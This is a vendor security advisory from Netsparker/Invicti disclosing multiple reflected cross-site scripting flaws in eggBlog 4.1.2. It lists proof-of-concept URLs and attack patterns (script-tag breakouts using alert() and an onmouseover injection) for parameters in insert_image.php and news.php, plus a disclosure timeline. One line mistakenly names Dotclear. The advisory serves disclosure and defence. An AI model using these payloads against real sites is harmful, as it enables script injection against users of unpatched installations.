Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in eggBlog
Affected Software: eggBlog
Affected Versions: 4.1.2
Vendor Homepage:  https://sourceforge.net/projects/eggblog/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-019

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg='"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>
Parameter Name wysiwyg
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0034DC)</scRipt>

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=text
Parameter Name dir
Parameter Type POST
Attack Pattern x'" onmouseover=alert(9)

URL /eggblog/_lib/openwysiwyg/addons/imagelibrary/insert_image.php/'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x00299C)</scRipt>

URL /eggblog/news.php?id=1
Parameter Name title
Parameter Type POST
Attack Pattern <scRipt>alert(0x0027FE)</scRipt>

URL /eggblog/news.php?id=1
Parameter Name text
Parameter Type POST
Attack Pattern <scRipt>alert(0x0035F9)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28 Jun 2016 - Issue reported
Jul - Sep 2016 - Several attempts to get in touch
05 Oct 2016 - Advisory released

Credits & Authors
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This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.